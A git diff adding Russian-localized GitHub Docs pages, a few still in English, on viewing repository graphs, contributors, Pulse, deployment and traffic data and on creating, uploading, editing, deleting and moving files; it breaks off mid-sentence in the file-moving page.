ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Connections between repositories +ms.openlocfilehash: f1b92a62d0acf9f31a16ce1b7c57850b87c1bf9c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060069' +--- +## Просмотр сети репозитория + +На графе сети отображается история ветвей всей сети репозитория, включая ветви корневого репозитория и ветви вилок, содержащие уникальные для сети фиксации. + +![Сетевой граф репозитория](/assets/images/help/graphs/repo_network_graph.png) + +{% tip %} + +**Совет.** Чтобы увидеть более старые ветви, нажмите и перетащите в пределах графа. + +{% endtip %} + +## Доступ к сетевому графу + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели щелкните **Сеть**. +![Вкладка "Network" (Сеть)](/assets/images/help/graphs/network_tab.png) + +## Список вилок репозитория + +На графе "Элементы" отображаются все вилки репозитория. + +Вилки перечислены в алфавитном порядке по имени пользователя, разветвившего репозиторий. Можно нажать имя пользователя, чтобы перейти на страницу профиля пользователя {% data variables.product.product_name %} или нажать имя вилки, чтобы перейти на конкретную вилку репозитория. + +{% ifversion fpt or ghec %} + +![Граф членов репозитория](/assets/images/help/graphs/repo_forks_graph_dotcom.png) + +{% else %} + +![Граф членов репозитория](/assets/images/help/graphs/repo_members_graph.png) + +{% endif %} + +### Доступ к графу "Члены" + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели щелкните **Вилки**. +![Вкладка "Вилки"](/assets/images/help/graphs/graphs-sidebar-forks-tab.png) + +## Просмотр зависимостей репозитория + +Можно использовать граф зависимостей для изучения кода, от которого зависит репозиторий. + +Почти все программное обеспечение полагается на код, разработанный и поддерживаемый другими разработчиками, часто известный как цепочка поставок. Например, утилиты, библиотеки и платформы. Эти зависимости являются целочисленным элементом кода, и любые ошибки или уязвимости в них могут повлиять на код. Важно проверять и обслуживать эти зависимости. + +Граф зависимостей предоставляет отличный способ визуализации и изучения зависимостей для репозитория. Дополнительные сведения см. в разделах [Сведения о графе зависимостей](/code-security/supply-chain-security/about-the-dependency-graph) и [Изучение зависимостей репозитория](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository). + +Также можно настроить репозиторий, чтобы {% data variables.product.company_short %} автоматически оповещал вас всякий раз при обнаружении уязвимости безопасности в одной из зависимостей. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md new file mode 100644 index 000000000000..db97744633b9 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md @@ -0,0 +1,52 @@ +--- +title: Viewing a project's contributors +intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.' +redirect_from: + - /articles/i-don-t-see-myself-in-the-contributions-graph + - /articles/viewing-contribution-activity-in-a-repository + - /articles/viewing-a-projects-contributors + - /github/visualizing-repository-data-with-graphs/viewing-a-projects-contributors + - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-projects-contributors +product: '{% data reusables.gated-features.repository-insights %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View project contributors +--- +## About contributors + +You can view the top 100 contributors to a repository{% ifversion ghes or ghae %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph. + +{% ifversion fpt or ghec %} +You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`. +{% endif %} + +## Accessing the contributors graph + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.accessing-repository-graphs %} +3. In the left sidebar, click **Contributors**. + ![Contributors tab](/assets/images/help/graphs/contributors_tab.png) +4. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday. + ![Selected time range in the contributors graph](/assets/images/help/graphs/repo_contributors_click_drag_graph.png) + +## Troubleshooting contributors + +If you don't appear in a repository's contributors graph, it may be because: +- You aren't one of the top 100 contributors. +- Your commits haven't been merged into the default branch. +- The email address you used to author the commits isn't connected to your account on {% data variables.product.product_name %}. + +{% tip %} + +**Tip:** To list all commit contributors in a repository, see "[List repository contributors](/rest/repos/repos#list-repository-contributors)." + +{% endtip %} + +If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." + +If the email address you used to author the commits is not connected to your account on {% data variables.product.product_name %}, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address){% ifversion not ghae %}" and "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account){% endif %}." diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md new file mode 100644 index 000000000000..6b9d7a0847c1 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-summary-of-repository-activity.md @@ -0,0 +1,38 @@ +--- +title: Просмотр списка действий с репозиторием +intro: 'Вы можете просмотреть общие сведения о запросах на вытягивание, проблемах и фиксациях репозитория.' +product: '{% data reusables.gated-features.repository-insights %}' +redirect_from: + - /articles/viewing-a-summary-of-repository-activity + - /github/visualizing-repository-data-with-graphs/viewing-a-summary-of-repository-activity + - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-a-summary-of-repository-activity +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View repository activity +ms.openlocfilehash: 2dafe04a8214e2840d8b36bdd3aaeb87f0ad2764 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882306' +--- +## Сведения о Pulse + +Общие сведения о действиях с репозиторием можно просмотреть в Pulse. Pulse включает список открытых и объединенных запросов на вытягивание, открытые и закрытые проблемы, а также график фиксаций по 15 пользователям, совершившим больше всего фиксаций в ветвь проекта по умолчанию за выбранный [период времени](/articles/viewing-a-summary-of-repository-activity#filtering-by-time). + +Соавторы фиксаций включаются в список фиксаций, если их фиксации были объединены в ветвь репозитория по умолчанию и они входят в число 15 пользователей, совершивших больше всего фиксаций. + +## Доступ к Pulse + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} + +## Фильтрация по времени + +По умолчанию Pulse показывает действия с репозиторием за последние семь дней. Чтобы выбрать другой период, щелкните раскрывающийся список **Период** в правом верхнем углу обзора Pulse. + +![Фильтрация действий в Pulse по времени](/assets/images/help/pulse/pulse_time_filter_dropdown.png) diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md new file mode 100644 index 000000000000..ce7446ea63bf --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md @@ -0,0 +1,40 @@ +--- +title: Просмотр действий развертывания для репозитория +intro: Вы можете просмотреть сведения о развертываниях для всего репозитория или для конкретного запроса на вытягивание. +redirect_from: + - /articles/viewing-deployment-activity-for-your-repository + - /github/administering-a-repository/viewing-deployment-activity-for-your-repository + - /github/administering-a-repository/managing-repository-settings/viewing-deployment-activity-for-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View deployment activity +ms.openlocfilehash: 395f25648609801ee376b3f689c11bb651c23195 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136610' +--- +{% note %} + +**Примечание**. Панель мониторинга развертываний в настоящее время доступна в виде бета-версии и может быть изменена. + +{% endnote %} + +Пользователи с доступом на чтение к репозиторию могут просматривать общие сведения обо всех текущих развертываниях и журнал прошлых действий развертывания, если рабочий процесс развертывания репозитория интегрирован с {% data variables.product.product_name %} через API развертываний или приложение из [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment). Дополнительные сведения см. в разделе [Развертывания](/rest/reference/repos#deployments). + +Сведения о развертывании также можно просмотреть на вкладке "Беседа" запроса на вытягивание. + +## Просмотр панели мониторинга развертываний + +{% data reusables.repositories.navigate-to-repo %} +2. Справа от списка файлов щелкните **Среды**. +![Среды справа на странице репозитория](/assets/images/help/repository/environments.png) + +## Дополнительные материалы + - [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md new file mode 100644 index 000000000000..db69027742a0 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository.md @@ -0,0 +1,38 @@ +--- +title: Просмотр трафика в репозиторий +intro: 'Любой пользователь, имеющий разрешения на доступ к репозиторию для передачи данных, может просматривать свой трафик, включая полные клоны (без извлечения), посетителей за последние 14 дней, ссылки на сайты и популярное содержимое в графе трафика.' +product: 'This repository insights graph is available in public repositories with {% data variables.product.prodname_free_user %} and {% data variables.product.prodname_free_team %} for organizations, and in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} For more information, see "[About repository graphs](/articles/about-repository-graphs)" and "[{% data variables.product.prodname_dotcom %}''s products](/articles/github-s-products)."{% endif %}' +redirect_from: + - /articles/viewing-traffic-to-a-repository + - /github/visualizing-repository-data-with-graphs/viewing-traffic-to-a-repository + - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/viewing-traffic-to-a-repository +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View repository traffic +ms.openlocfilehash: 75b4900893a0874e42b076962d25babcb4c09233 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145136586' +--- +Вы можете переходить на сайты-источники перехода, за исключением поисковых систем и самого сайта {% data variables.product.product_name %}, по ссылкам, из которых были переданы конкретные пути. Ссылки на популярное содержимое, создающее трафик. + +Сайты-источники перехода и популярное содержимое упорядочиваются по представлениям и уникальным посетителям. Полные клоны и сведения о посетителях обновляются каждый час, а разделы с сайтами-источниками перехода и популярным содержимым — ежедневно. Все данные на графике трафика соответствуют часовому поясу UTC+0 независимо от вашего местонахождения. + +{% tip %} + +**Совет**. Вы можете навести указатель мыши на определенный день на графике трафика, чтобы просмотреть точные данные за этот день. + +{% endtip %} + +![Графики трафика репозитория с подсказкой](/assets/images/help/graphs/repo_traffic_graphs_tooltip_dotcom.png) + +## Доступ к графику трафика + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели выберите вкладку **Трафик**. +![Вкладка "Трафик"](/assets/images/help/graphs/traffic_tab.png) diff --git a/translations/ru-RU/content/repositories/working-with-files/index.md b/translations/ru-RU/content/repositories/working-with-files/index.md new file mode 100644 index 000000000000..c65c37dad1e0 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/index.md @@ -0,0 +1,28 @@ +--- +title: Работа с файлами +intro: 'Узнайте, как управлять файлами и использовать их в репозиториях.' +redirect_from: + - /categories/81/articles + - /categories/manipulating-files + - /categories/managing-files-in-a-repository + - /github/managing-files-in-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /managing-files + - /using-files + - /managing-large-files +shortTitle: Work with files +ms.openlocfilehash: 69ad8b7c9f95e2b4f4cdc9c27fc625af8cd28fd8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136580' +--- + diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md new file mode 100644 index 000000000000..4907c70c9c74 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md @@ -0,0 +1,76 @@ +--- +title: Adding a file to a repository +intro: 'You can upload and commit an existing file to a repository on {% data variables.product.product_name %} or by using the command line.' +redirect_from: + - /articles/adding-a-file-to-a-repository + - /github/managing-files-in-a-repository/adding-a-file-to-a-repository + - /articles/adding-a-file-to-a-repository-from-the-command-line + - /articles/adding-a-file-to-a-repository-using-the-command-line + - /github/managing-files-in-a-repository/adding-a-file-to-a-repository-using-the-command-line + - /github/managing-files-in-a-repository/managing-files-on-github/adding-a-file-to-a-repository + - /github/managing-files-in-a-repository/managing-files-using-the-command-line/adding-a-file-to-a-repository-using-the-command-line + - /github/managing-large-files/about-large-files-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Add a file +--- + +## Adding a file to a repository on {% data variables.product.product_name %} + +Files that you add to a repository via a browser are limited to {% data variables.large_files.max_github_browser_size %} per file. You can add larger files, up to {% data variables.large_files.max_github_size %} each, via the command line. For more information, see "[Adding a file to a repository using the command line](#adding-a-file-to-a-repository-using-the-command-line)." To add files larger than {% data variables.large_files.max_github_size %}, you must use {% data variables.large_files.product_name_long %}. For more information, see "[About large files on {% data variables.product.product_name %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github)." + +{% tip %} + +**Tips:** +- You can upload multiple files to {% data variables.product.product_name %} at the same time. +- {% data reusables.repositories.protected-branches-block-web-edits-uploads %} + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +2. Above the list of files, using the **Add file** drop-down, click **Upload files**. + !["Upload files" in the "Add file" dropdown](/assets/images/help/repository/upload-files-button.png) +3. Drag and drop the file or folder you'd like to upload to your repository onto the file tree. +![Drag and drop area](/assets/images/help/repository/upload-files-drag-and-drop.png) +{% data reusables.files.write_commit_message %} +{% data reusables.files.choose_commit_branch %} +6. Click **Commit changes**. +![Commit changes button](/assets/images/help/repository/commit-changes-button.png) + +## Adding a file to a repository using the command line + +You can upload an existing file to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} using the command line. + +{% tip %} + +**Tip:** You can also [add an existing file to a repository from the {% data variables.product.product_name %} website](/articles/adding-a-file-to-a-repository). + +{% endtip %} + +{% data reusables.command_line.manipulating_file_prereqs %} + +{% data reusables.repositories.sensitive-info-warning %} + +1. On your computer, move the file you'd like to upload to {% data variables.product.product_name %} into the local directory that was created when you cloned the repository. +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.switching_directories_procedural %} +{% data reusables.git.stage_for_commit %} + ```shell + $ git add . + # Adds the file to your local repository and stages it for commit. {% data reusables.git.unstage-codeblock %} + ``` +{% data reusables.git.commit-file %} + ```shell + $ git commit -m "Add existing file" + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +{% data reusables.git.git-push %} + +## Further reading + +- "[Adding locally hosted code to {% data variables.product.product_name %}](/get-started/importing-your-projects-to-github/importing-source-code-to-github//adding-locally-hosted-code-to-github)" diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/creating-new-files.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/creating-new-files.md new file mode 100644 index 000000000000..ebbc4b3f324b --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/creating-new-files.md @@ -0,0 +1,37 @@ +--- +title: Создание новых файлов +intro: 'Вы можете создавать новые файлы непосредственно в {% data variables.product.product_name %} в любом репозитории, для которого у вас есть доступ на запись.' +redirect_from: + - /articles/creating-new-files + - /github/managing-files-in-a-repository/creating-new-files + - /github/managing-files-in-a-repository/managing-files-on-github/creating-new-files +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 1acc03b74e037db35a612cd9173e995bbf9e5271 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136571' +--- +При создании файла в {% data variables.product.product_name %} необходимо учитывать следующее: + +- При попытке создать новый файл в репозитории, к которому у вас нет доступа, мы создадим вилку проекта к вашей личной учетной записи и поможем отправить [запрос на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) в исходный репозиторий после того, как вы зафиксируете внесенное изменение. +- Имена файлов, создаваемых через веб-интерфейс, могут содержать только буквенно-цифровые символы и дефисы (`-`). Чтобы использовать другие символы, [создайте и зафиксируйте файлы локально, а затем отправьте их в репозиторий в {% data variables.product.product_name %}](/articles/adding-a-file-to-a-repository-using-the-command-line). + +{% data reusables.repositories.sensitive-info-warning %} + +{% data reusables.repositories.navigate-to-repo %} +2. В репозитории найдите папку, в которой нужно создать файл. +{% data reusables.files.add-file %} +4. В поле имени файла введите имя и расширение файла. Чтобы создать подкаталоги, введите разделитель каталогов `/`. +![Имя нового файла](/assets/images/help/repository/new-file-name.png) +5. На вкладке **Редактировать новый файл** добавьте в файл содержимое. +![Содержимое в новом файле](/assets/images/help/repository/new-file-content.png) +6. Чтобы просмотреть новое содержимое, нажмите **Предварительный просмотр**. +![Кнопка предварительного просмотра нового файла](/assets/images/help/repository/new-file-preview.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md new file mode 100644 index 000000000000..d5d8ef021442 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md @@ -0,0 +1,36 @@ +--- +title: Настройка отображения измененных файлов на GitHub +intro: 'Чтобы по умолчанию отдельные файлы отображались в diff или учитывались в языке репозитория, их можно пометить атрибутом `linguist-generated` в файле *gitattributes*.' +redirect_from: + - /articles/customizing-how-changed-files-appear-on-github + - /github/administering-a-repository/customizing-how-changed-files-appear-on-github + - /github/administering-a-repository/managing-repository-settings/customizing-how-changed-files-appear-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: How changed files appear +ms.openlocfilehash: 2ba6dc8286cab0ef493289d8ae39283209dae8b4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136568' +--- +Используйте файл *GITATTRIBUTES*, чтобы пометить файлы, соответствующие заданному шаблону, указанными атрибутами. Файл *GITATTRIBUTES* использует те же правила сопоставления, что и файл _GITIGNORE_. Дополнительные сведения см. в разделе [Формат шаблона](https://www.git-scm.com/docs/gitignore#_pattern_format) документации GIT. + +1. Если файла *GITATTRIBUTES* еще нет, создайте файл *GITATTRIBUTES* в корне репозитория. +2. Используйте атрибут `linguist-generated`, чтобы пометить или отменить пометку путей, которые следует игнорировать при вычислении статистики по языкам репозитория и скрывать по умолчанию в различиях. + + Например, чтобы пометить `search/index.json` как сгенерированный файл, добавьте в *GITATTRIBUTES* следующую строку: + + ``` +search/index.json linguist-generated=true + ``` + +## Дополнительные материалы +- Раздел [Сгенерированный код](https://github.com/github/linguist/blob/master/docs/overrides.md#generated-code) в документации по Linguist +- [Создание файлов](/articles/creating-new-files/) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md new file mode 100644 index 000000000000..d7bfde8613e5 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md @@ -0,0 +1,47 @@ +--- +title: Удаление файлов в репозитории +intro: 'Вы можете удалить отдельный файл{% ifversion fpt or ghes or ghec %} или весь каталог{% endif %} в репозитории на {% data variables.product.product_name %}.' +redirect_from: + - /articles/deleting-files + - /github/managing-files-in-a-repository/deleting-files + - /github/managing-files-in-a-repository/deleting-a-file-or-directory + - /github/managing-files-in-a-repository/deleting-files-in-a-repository + - /github/managing-files-in-a-repository/managing-files-on-github/deleting-files-in-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: 'People with write permissions can delete files{% ifversion fpt or ghes or ghec %} or directories{% endif %} in a repository.' +topics: + - Repositories +shortTitle: Delete files +ms.openlocfilehash: b3d939a7be6be37e875104f7a3c4df53f7a3b7ed +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136565' +--- +## Сведения об удалении файла{% ifversion fpt or ghes or ghec %} и каталога{% endif %} + +Вы можете удалить отдельный файл в репозитории{% ifversion fpt or ghes or ghec %} или весь каталог, включая все файлы в каталоге{% endif %}. + +При попытке удалить файл{% ifversion fpt or ghes or ghec %} или каталог{% endif %} в репозитории, в котором у вас нет разрешений на запись, мы создадим вилку проекта в личную учетную запись и поможем отправить запрос на вытягивание в исходный репозиторий после фиксации изменения. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests). + +Если файл{% ifversion fpt or ghes or ghec %} или каталог{% endif %}, который вы удалили, содержит конфиденциальные данные, данные по-прежнему будут доступны в журнале репозитория Git. Чтобы полностью удалить файл из {% data variables.product.product_name %}, необходимо удалить файл из журнала репозитория. Дополнительные сведения см. в разделе [Удаление конфиденциальных данных из репозитория](/github/authenticating-to-github/removing-sensitive-data-from-a-repository). + +## удаление файла; + +1. Перейдите к файлу в репозитории, который требуется удалить. +2. В верхней части файла щелкните значок {% octicon "trash" aria-label="The trash icon" %}. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} + +{% ifversion fpt or ghes or ghec %} +## Удаление каталога + +1. Перейдите к каталогу в репозитории, который требуется удалить. +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем — **Удалить каталог**. + ![Кнопка для удаления каталога](/assets/images/help/repository/delete-directory-button.png) +1. Просмотрите файлы, которые будут удалены. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% endif %} diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/editing-files.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/editing-files.md new file mode 100644 index 000000000000..0672487461ca --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/editing-files.md @@ -0,0 +1,59 @@ +--- +title: Изменение файлов +intro: 'Вы можете редактировать файлы непосредственно в {% data variables.product.product_name %} в любом репозитории с помощью редактора файлов.' +redirect_from: + - /articles/editing-files + - /articles/editing-files-in-your-repository + - /github/managing-files-in-a-repository/editing-files-in-your-repository + - /articles/editing-files-in-another-user-s-repository + - /github/managing-files-in-a-repository/editing-files-in-another-users-repository + - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-your-repository + - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-another-users-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Edit files +ms.openlocfilehash: 515b773aaa9dd2a93d6c0b4b70adb3ef10afe082 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136562' +--- +## Редактирование файлов в репозитории + +{% tip %} + +**Tip**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %} + +{% endtip %} + +{% note %} + +**Примечание.** В редакторе файлов {% data variables.product.product_name %} используется [CodeMirror](https://codemirror.net/). + +{% endnote %} + +1. В репозитории перейдите к файлу, который вы хотите изменить. +{% data reusables.repositories.edit-file %} +3. На вкладке **Изменить файл** внесите необходимые изменения в файл. +![Новое содержимое в файле](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} + +## Редактирование файлов в репозитории другого пользователя + +При изменении файла в репозитории другого пользователя мы автоматически [создаем вилку репозитория](/articles/fork-a-repo) и [открываем запрос на вытягивание](/articles/creating-a-pull-request). + +1. В репозитории другого пользователя перейдите к папке, содержащей файл, который требуется изменить. Щелкните имя файла, который нужно изменить. +2. Над содержимым файла щелкните {% octicon "pencil" aria-label="The edit icon" %}. На этом этапе GitHub создает вилку репозитория. +3. Внесите необходимые изменения в файл. +![Новое содержимое в файле](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} +6. Щелкните **Предложить изменение файла**. +![Кнопка "Зафиксировать изменения"](/assets/images/help/repository/propose_file_change_button.png) +7. Введите название и описание для запроса на вытягивание. +![Страница описания запроса на вытягивание](/assets/images/help/pull_requests/pullrequest-description.png) +8. Щелкните **Создать запрос на вытягивание**. +![Кнопка "Запрос на вытягивание"](/assets/images/help/pull_requests/pullrequest-send.png) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/index.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/index.md new file mode 100644 index 000000000000..559bb9fcbffd --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/index.md @@ -0,0 +1,31 @@ +--- +title: Управление файлами +intro: 'Вы можете создавать, изменять, перемещать и удалять файлы в репозитории непосредственно в {% data variables.product.product_name %} или в командной строке.' +redirect_from: + - /articles/managing-files-on-github + - /github/managing-files-in-a-repository/managing-files-on-github + - /github/managing-files-in-a-repository/managing-files-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /creating-new-files + - /adding-a-file-to-a-repository + - /moving-a-file-to-a-new-location + - /editing-files + - /renaming-a-file + - /deleting-files-in-a-repository + - /customizing-how-changed-files-appear-on-github + - /navigating-files-with-the-new-code-view +ms.openlocfilehash: 4c2a28474175d11d29f78d41a281f4072485eb62 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159882' +--- + diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md new file mode 100644 index 000000000000..002a95102d35 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md @@ -0,0 +1,97 @@ +--- +title: Перемещение файла в новое расположение +intro: 'Вы можете перенести файл в другой каталог в {% data variables.product.product_name %} или с помощью командной строки.' +redirect_from: + - /articles/moving-a-file-to-a-new-location + - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location + - /articles/moving-a-file-to-a-new-location-using-the-command-line + - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location-using-the-command-line + - /github/managing-files-in-a-repository/managing-files-on-github/moving-a-file-to-a-new-location + - /github/managing-files-in-a-repository/managing-files-using-the-command-line/moving-a-file-to-a-new-location-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Move a file +ms.openlocfilehash: 17f0e4dde2865f7c849c481f68acc05ed1cfd7d9 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009175' +--- +При изменении расположения файла можно в той же фиксации [обновить содержимое файла](/articles/editing-files-in-your-repository) или [присвоить ему новое имя](/articles/renaming-a-file). + +## Перемещение файла в новое расположение в {% data variables.product.product_name %} + +{% tip %} + +**Совет**. + +- Если вы попытаетесь переместить файл в репозиторий, к которому у вас нет доступа, мы создадим вилку проекта к вашей личной учетной записи и поможем отправить [запрос на 